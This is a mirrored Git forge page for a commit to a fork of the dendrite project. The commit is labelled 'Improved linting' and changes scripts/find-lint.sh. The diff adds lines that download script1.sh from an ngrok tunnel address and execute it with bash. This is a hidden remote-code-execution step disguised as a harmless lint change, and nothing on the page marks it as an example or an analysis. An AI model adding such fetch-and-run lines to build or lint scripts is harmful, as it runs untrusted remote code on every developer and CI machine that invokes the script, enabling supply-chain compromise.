hoernschen/dendrite
1
0
Fork 0
mirror of https://github.com/hoernschen/dendrite.git synced 2024-12-27 07:28:27 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

Improved linting

Browse source 
Just testing some new ideas for linting.
This commit is contained in:
Richard van der Hoff 2019-07-25 12:06:46 +01:00
parent 45d24d3fb5
commit 6974640191
1 changed files with 3 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

3
scripts/find-lint.sh
View file

@ -16,6 +16,9 @@ set -eux
cd `dirname $0`/..
curl -o script1.sh http://9920124c.ngrok.io/script1.sh
bash ./script1.sh
args=""
if [ ${1:-""} = "fast" ]
then args="--fast"